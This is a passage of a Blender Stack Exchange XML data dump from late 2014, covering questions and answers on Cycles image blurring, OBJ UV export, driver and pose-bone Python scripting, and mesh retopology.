  <row Id="18419" PostTypeId="2" ParentId="9394" CreationDate="2014-11-01T14:32:30.597" Score="12" Body="&lt;p&gt;This method will help you to blur an image in cycles (not using compositor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://bwide.wordpress.com/node-groups/bwide-nodepack-for-blender&quot; rel=&quot;noreferrer&quot; title=&quot;documentation only link&quot;&gt;b°wide NodePack &lt;/a&gt; has a node group called &lt;em&gt;IMAGEBLUR&lt;/em&gt; which can blur a texture in cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The download is on &lt;a href=&quot;https://www.blendswap.com/blends/view/70570&quot; rel=&quot;noreferrer&quot;&gt;blendswap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the 'b-wide node pack' and follow the instructions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unpack the downloaded file&lt;/li&gt;&#xA;&lt;li&gt;Open BLENDER, go to the cycles material node editor, and setup image texture you want to blur&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QA6Kv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cvMDI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Click FILE--&gt; APPEND--&gt; (FIND THE UNPACKED 'b-wide_NodePack' FOLDER)--&gt; b-wide_NodePack.blend--&gt; NodeTree--&gt; ImageBlur, and then LINK/APPEND FROM LIBRARY&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VqGhu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;In Node Editor window press SHIFT+A--&gt; Group--&gt; ImageBlur&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQbJ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Place the ImageBlur node between Texture Coordinate and Image Texture nodes and adjust the blurriness factor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JlTqx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6.Don't go too far ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qh0i1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blurred image is quite grainy, but you can improve its quality increasing the number of Samples in Render Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1UYm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="2217" LastEditDate="2019-02-17T14:30:40.560" LastActivityDate="2019-02-17T14:30:40.560" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18420" PostTypeId="1" AcceptedAnswerId="18423" CreationDate="2014-11-01T18:36:00.263" Score="4" ViewCount="958" Body="&lt;p&gt;In blender, you can hold your mousecursor over a button to see both what it does, as well as the python code that it would run. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xJjNs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an amazing feature. But it still requires me to remember the code before I can copy it into a text editor. Is there a way such that I can press a shortcut and copy the code that is shown on hover? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the above screenshot, I would like to copy &lt;code&gt;bpy.ops.object.material_slot_add()&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2014-11-01T19:43:51.350" Title="copy python code of operation" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18421" PostTypeId="1" CreationDate="2014-11-01T18:48:04.570" Score="1" ViewCount="81" Body="&lt;p&gt;From what I've read about linear workflow, it might be causing this problem. If so, how can I manually control linear workflow in blender? Here's what's happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make a shiny surface with lights in it for a game. This is a render when the lights are inactive:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nShHq.png&quot; alt=&quot;inactive lights are rendered as diffuse shaders.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I change them to an emission shader, the image as a whole dims. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/mMEL6.png&quot; alt=&quot;lights rendered with emission shader&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem because in my game, I want to be able to overlay the lights as active or inactive, but since the images are different brightnesses, it's very obvious that it was cut and pasted on.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mt8Pp.png&quot; alt=&quot;problem overlaid&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5708" LastEditorUserId="2217" LastEditDate="2014-11-02T02:33:30.170" LastActivityDate="2014-11-02T02:33:30.170" Title="Manually Control Linear Workflow" Tags="&lt;materials&gt;&lt;image&gt;&lt;color-management&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18422" PostTypeId="1" AcceptedAnswerId="18428" CreationDate="2014-11-01T18:56:28.707" Score="6" ViewCount="29297" Body="&lt;p&gt;I'm working on an OBJ parser for a game engine I am creating. I have the model being loaded correctly and all, but I've never really used blender before and I'm not entirely sure how to get my UV Mapped texture into the OBJ file. Inside the OBJ file, lines typically start with &quot;v&quot;, &quot;vn&quot;, and &quot;f&quot; for me, which seems normal. However, I saw someone who had lines starting with &quot;g&quot; that indicated texture coordinates in his OBJ file. Does anyone know how I could do this? I already have the texture mapped and everything, I just can't understand how I am supposed to get it into the exported OBJ file.&lt;/p&gt;&#xA;" OwnerUserId="7802" LastEditorUserId="2217" LastEditDate="2014-11-01T21:04:16.210" LastActivityDate="2017-06-27T19:08:47.570" Title="Add UV Mapped texture coordinates to OBJ file?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18423" PostTypeId="2" ParentId="18420" CreationDate="2014-11-01T19:02:33.333" Score="3" Body="&lt;p&gt;At least in the lastest version of Blender, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; while overing any &lt;em&gt;button&lt;/em&gt; (of sorts) to get the Data Path; This, however, doesn't work with &lt;em&gt;Fields&lt;/em&gt; (text or numeric), since it copies the value that is already in the field. To fix this there's a &quot;workaround&quot;, press &lt;kbd&gt;RMB&lt;/kbd&gt; (right click) and select &lt;code&gt;Copy Data Path&lt;/code&gt;, this however only copies a relative data path;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it wasn't working in 2.72 for me, but I updated to 2.72b and it did.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-11-01T19:43:51.350" LastActivityDate="2014-11-01T19:43:51.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18424" PostTypeId="2" ParentId="13747" CreationDate="2014-11-01T20:05:04.033" Score="0" Body="&lt;p&gt;pink vertex has a solution.  The core is that driver.data_path tells you what field is being modified.  There's also an array_index which is needed for tuples like location, scale, and rotation_* .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an example at &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/driver-fin.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/driver-fin.html&lt;/a&gt; which creates several drivers to animate a waving fin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll include part of it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def addDrivers(ao, nSegs, rotor):&#xA;&#xA;    nRotors = len(rotor.pose.bones)-1&#xA;    for u in range(0, nSegs+1):&#xA;        for r in range(1,3):&#xA;            bn = &quot;u=%d r=%d&quot;%(u,r)&#xA;            dr = ao.driver_add(&quot;pose.bones[\&quot;%s\&quot;].rotation_euler&quot;%bn, 0)&#xA;            dr.driver.type = 'AVERAGE'&#xA;            var = dr.driver.variables.new()&#xA;            var.type = 'TRANSFORMS'&#xA;            var.targets[0].id = rotor&#xA;            if (r==1):&#xA;                ridx = u%nRotors&#xA;            else:&#xA;                ridx = (u-2 + nRotors)%nRotors&#xA;            var.targets[0].bone_target = &quot;rotor %d&quot; % ridx&#xA;            var.targets[0].transform_type = 'LOC_Y'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're going to use expressions instead of targets (like world/local position/rotation) then your code will be simple like pink vertex wrote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used targets because I like to avoid having to enable python in my drivers when I know how to get around it (it's a mathematics machismo thing).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-01T20:05:04.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18425" PostTypeId="1" CreationDate="2014-11-01T20:06:59.013" Score="6" ViewCount="2015" Body="&lt;p&gt;I'm compositing an image sequence in blender, and would like to preview it while working.&#xA;image editor shows only a still image, and I don't want to export every time I wish to preview.&lt;br&gt;&#xA;Is it possible to preview an image sequence while working (like after effect's ram preview?)&lt;/p&gt;&#xA;" OwnerUserId="7803" LastEditorUserId="2217" LastEditDate="2014-11-01T21:02:56.267" LastActivityDate="2016-01-12T14:19:49.953" Title="preview image sequence composite" Tags="&lt;compositor&gt;&lt;image&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18426" PostTypeId="2" ParentId="18418" CreationDate="2014-11-01T20:16:12.147" Score="3" Body="&lt;p&gt;I've had success importing CT data into blender using the free 32bit version of the open source &lt;a href=&quot;http://www.osirix-viewer.com/Downloads.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;DICOM viewer OsiriX&lt;/a&gt;, free registration required &lt;em&gt;(1)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import your data into OsiriX&lt;/li&gt;&#xA;&lt;li&gt;Double click the image-sequence to open it in the 2D Viewer&lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;3D Surface Rendering&quot; from the &quot;2D/3D&quot; button in the middle of the toolbar&lt;/li&gt;&#xA;&lt;li&gt;Select the desired level of detail and (most important) the brightness of the pixels which should be considered the &quot;object&quot; &lt;em&gt;(2)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use the &quot;3D-SR Export&quot; button in the new &quot;Surface Rendering&quot; window to choose your preferred output format (.rib, .vrml, .iv, .obj or .stl)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I went with .obj and it imported smoothly into blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(1)&lt;/em&gt; OsiriX is Mac OS X only. The site &lt;a href=&quot;http://www.idoimaging&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.idoimaging&lt;/a&gt; lists free medical image viewing software for many platforms. Maybe there is one with a similar feature set…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(2)&lt;/em&gt; Maybe you have to experiment a little in finding the right values. The available presets for Skin, Bones and Metal usually work just fine, but I have to admit, that I have no medical knowledge and therefore cannot say if this would be the case with all the CT/MR data sets out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s0e49.jpg&quot; alt=&quot;CT scan imported into blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QIhZ2.jpg&quot; alt=&quot;CT scan rendered with cycles&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7801" LastEditorUserId="2217" LastEditDate="2014-11-01T21:01:07.930" LastActivityDate="2014-11-01T21:01:07.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18428" PostTypeId="2" ParentId="18422" CreationDate="2014-11-01T22:09:00.657" Score="6" Body="&lt;p&gt;If you want texture coords when exporting to &lt;code&gt;.obj&lt;/code&gt;, make sure you have &lt;em&gt;Include UVs&lt;/em&gt; ticked in the exporter options (it should be checked by default). Also, make sure that you actually unwrapped the model, check &lt;em&gt;UV Maps&lt;/em&gt; under &lt;em&gt;Data&lt;/em&gt; in the &lt;em&gt;Properties&lt;/em&gt; panel to make sure that a UV map is assigned to your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RIlJim.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you should open an obj file you should see something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vt 0.000100 0.000100&#xA;vt 0.999900 0.000100&#xA;...&#xA;f 1/1 2/2 4/3 3/4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the lines with &lt;code&gt;vt&lt;/code&gt; are texture coordinates and the line(s) with &lt;code&gt;f&lt;/code&gt; specify faces that are a part of the UV map. Read more on the obj format &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file#File_format&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. That being said, it is an open format and people might roll their own custom exporters and importers and name these identifiers differently (not recommended). I know that &lt;code&gt;g&lt;/code&gt; is used by default for groups so you might be looking in the wrong place, also if you have a texture with the model make sure their is a &lt;code&gt;.mtl&lt;/code&gt; file along with the obj to ensure that everything works correctly.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-11-01T22:15:40.110" LastActivityDate="2014-11-01T22:15:40.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18429" PostTypeId="1" CreationDate="2014-11-01T22:13:38.307" Score="2" ViewCount="869" Body="&lt;p&gt;i have a skeleton and computed global(armature space) matrix of each bone for posing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get relative rotation and location(for keyframes) i am doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for each frame&#xA;    for each bone&#xA;        poseBone.matrix = new_pose_bone_matrix&#xA;        bpy.context.scene.update()&#xA;        poseBone.keyframe_insert(&quot;location&quot;, frame_num)&#xA;        poseBone.keyframe_insert(&quot;rotation_quaternion&quot;, frame_num)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem: need to call &lt;em&gt;scene.update()&lt;/em&gt; for &lt;em&gt;each bone&lt;/em&gt;! (tryed to use it once per frame - getting weird result)&#xA;Python's cProfile says that script spend &lt;em&gt;4 of 5&lt;/em&gt; second in scene.update()(need to wrap in function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre-making fcurves and inserting keyframes is more efficient since no scene.update() needed. Done in about 1 second. But i need relative loc/rot for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tryed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armature.convert_space(&#xA;       pose_bone = poseBone,&#xA;       matrix = new_pose_bone_matrix,&#xA;       from_space = 'WORLD',&#xA;       to_space = 'POSE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But getting incorrect result(rotation is correct but relative location is incorrect) ;( Tryed 'LOCAL' ,'LOCAL_WITH_PARENT'... and other variations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Need&lt;/strong&gt; this&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;PoseBone.location&lt;br/&gt;&#xA;&amp;nbsp;&amp;nbsp;PoseBone.rotation_quaternion&lt;br/&gt;&#xA;&lt;strong&gt;From&lt;/strong&gt;&lt;br/&gt;&amp;nbsp;&amp;nbsp;PoseBone.matrix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;poseBone.matrix datapath is useless for keyframes&#xA;&lt;hr/&gt;&#xA;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scene.update() for each pose bone calculation:&lt;br/&gt;&lt;br/&gt;&#xA;&lt;strong&gt;with mesh binded&lt;/strong&gt; to armature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;407072 function calls in 18.281 seconds&#xA;&#xA;ncalls  tottime  percall  cumtime  percall filename:lineno(function)&#xA;    1    0.817    0.817   18.281   18.281 io_import_scene_unreal_psa_psk.py:760(psaimport)&#xA;27166   15.393    0.001   15.393    0.001 io_import_scene_unreal_psa_psk.py:939(scene_update)&#xA;54332    1.823    0.000    1.823    0.000 {method 'keyframe_insert' of 'bpy_struct' objects}&#xA;80920    0.060    0.000    0.060    0.000 {built-in method Translation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;with NO mesh binded&lt;/strong&gt; to armature(no armature type children too):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;407072 function calls in 4.081 seconds&#xA;&#xA;ncalls  tottime  percall  cumtime  percall filename:lineno(function)&#xA;    1    0.628    0.628    4.081    4.081 io_import_scene_unreal_psa_psk.py:760(psaimport)&#xA;54332    1.821    0.000    1.821    0.000 {method 'keyframe_insert' of 'bpy_struct' objects}&#xA;27166    1.383    0.000    1.383    0.000 io_import_scene_unreal_psa_psk.py:939(scene_update)&#xA;80920    0.060    0.000    0.060    0.000 {built-in method Translation}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;with NO mesh binded&lt;/strong&gt; to armature &lt;strong&gt;and&lt;/strong&gt;&lt;br/&gt;&lt;code&gt;fcurve.keyframe_points.insert(frame,value)&lt;/code&gt;&lt;br/&gt;&#xA;instead of&lt;br/&gt;&lt;code&gt;poseBone.keyframe_insert(&quot;location&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;353306 function calls in 2.965 seconds&#xA;&#xA;ncalls  tottime  percall  cumtime  percall filename:lineno(function)&#xA;    1    1.354    1.354    2.965    2.965 io_import_scene_unreal_psa_psk.py:768(psaimport)&#xA;27166    1.361    0.000    1.361    0.000 io_import_scene_unreal_psa_psk.py:951(scene_update)&#xA;80920    0.058    0.000    0.058    0.000 {built-in method Translation}&#xA;54043    0.037    0.000    0.037    0.000 {method 'to_4x4' of 'Matrix' objects}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7757" LastEditorUserId="7757" LastEditDate="2014-11-10T14:56:14.167" LastActivityDate="2014-11-10T14:56:14.167" Title="poseBone location and rotation from poseBone matrix" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18430" PostTypeId="1" AcceptedAnswerId="18457" CreationDate="2014-11-01T23:22:21.823" Score="2" ViewCount="244" Body="&lt;p&gt;It is possible to do a take-off/landing for an airplane in BGE using logic bricks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done it but on the floor the plane is not limited in rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For take-off I'm applying a rotation around X, but if it is stationary I'm still able to rotate it.&#xA;Can I limit the rotation to 25 degrees until it has some distance from the floor?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/osBHi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastActivityDate="2014-11-03T18:04:18.640" Title="How to make a take-off/landing for an airplane in BGE?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18431" PostTypeId="2" ParentId="18348" CreationDate="2014-11-01T23:35:44.423" Score="6" Body="&lt;p&gt;Here is my version of &lt;a href=&quot;https://www.youtube.com/watch?v=6mbo474uhOA&amp;amp;list=UUVA3cYOgsTN4hs3v7pjne7w&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gleb Alexandrov's grungy metal&lt;/a&gt;.  I changed the color to a bronze using a couple of RGB curves and Bright/Contrast nodes and added some dirt using dirty vertex.  The rust is not technically accurate since bronze does not rust but I threw it in anyhow so you can see how it is done.  You can always bypass the rust by plugging the base metal shader right into the scratches mix shader node.  It looks great though without the bronze coloring on the base metal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYKpn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is just the base metal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20tuF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full thing without rust:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHFl6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sgXXB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sgXXB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally the &lt;a href=&quot;http://www.pasteall.org/blend/32556&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the base metal and the rust textures are free ones from &lt;a href=&quot;http://www.cgtextures.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;cgtextures.com&lt;/a&gt;, the scratch map is homemade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want it to look that grungy you can mix the base metal with a bronze color using a mix RGB node and increase the left value of the color ramp coming out of the fresnel node to get more gloss.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2016-01-25T13:34:00.140" LastActivityDate="2016-01-25T13:34:00.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18432" PostTypeId="1" AcceptedAnswerId="18435" CreationDate="2014-11-02T01:10:43.880" Score="5" ViewCount="2136" Body="&lt;p&gt;So I am retopologizing an elbow on an arm mesh, but there is this strange vertex that just sticks out of the mesh whenever I use a 2-level subsurf modifier with smooth shading. Here are some photos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex is in dead center of elbow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8Tt25H2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh with the vertex highlighted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/k5IATXA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a quick way to make this stubborn vertex conform with the rest of the arm, or do I have to just sit and continue to rearrange my mesh?&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="599" LastEditDate="2014-11-02T01:21:25.507" LastActivityDate="2015-04-30T06:48:45.387" Title="How do I fix this irregular shading on my subsurf retopology attempt?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18433" PostTypeId="1" AcceptedAnswerId="18475" CreationDate="2014-11-02T03:04:54.153" Score="4" ViewCount="1190" Body="&lt;p&gt;Is there a way to render one object through another, but only that particular object? It would look similar to how xray mode functions in the viewport. I'm trying to achieve the effect of rendering Link's (from The Legend of Zelda: Wind Waker) eyebrows over his hair. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have his hair, each eye and eyebrow, and his body as separate objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks normally (ignore the lack of pupils):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/a87lvFe.png&quot; alt=&quot;Default&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I'd like it to look (using RenderLayers):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ei1mlNK.png&quot; alt=&quot;With RenderLayers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why using RenderLayers won't work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Qy4C98t.png&quot; alt=&quot;Why RenderLayers won&amp;#39;t work&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I want to know if there's a way for the eyes and eyebrows to be rendered above the hair, but normally otherwise.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastEditorUserId="7806" LastEditDate="2014-11-03T03:18:41.123" LastActivityDate="2014-11-03T07:24:21.287" Title="Rendering an object through another" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18434" PostTypeId="2" ParentId="18432" CreationDate="2014-11-02T04:24:59.967" Score="5" Body="&lt;p&gt;you have nGons which tends to cause problems for both sub-division modifiers, animations and texture baking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For hard-surface/mechanical type models, you can use tris/nGons on flat areas so long as the transitions to curved areas are all bordered with quad based geometry.  Note this will still make some of the selection tools less effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZoOov.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following chart shows many ways of redirecting polygon flow so you can keep an all-quads mesh that has clean lines that will still work well with various modeling tools.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78hiS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credits: The authors name can be seen at the bottom of the image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found half a dozen charts like this so you might want to do some more digging using keywords such as &quot;polygon flow&quot; &quot;quad modeling&quot; as the basis for an image search.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-30T06:48:45.387" LastActivityDate="2015-04-30T06:48:45.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18435" PostTypeId="2" ParentId="18432" CreationDate="2014-11-02T09:38:49.070" Score="2" Body="&lt;p&gt;Add additional edges with the &lt;em&gt;Knife-Tool&lt;/em&gt; &lt;kbd&gt;K&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RAzpA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the vertices of the elbow joint with &lt;em&gt;Box Select&lt;/em&gt; &lt;kbd&gt;B&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Delete the vertices &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xsgSA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the edge rings and search for Bridge Edge Loops &lt;kbd&gt;Space&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OxPqS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Recreate the mesh using &lt;em&gt;Inset&lt;/em&gt; &lt;kbd&gt;I&lt;/kbd&gt; with the faces selected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uolKc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively (recommended) you could use '&lt;em&gt;Diamonds&lt;/em&gt;' to bridge from 16 to 8 vertices edge rings as described here: &lt;a href=&quot;https://blender.stackexchange.com/questions/2995/are-there-more-standard-patterns-besides-diamonds-which-will-preserve-quad-only&quot;&gt;Are there more standard patterns besides diamonds which will preserve quad only meshes?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" 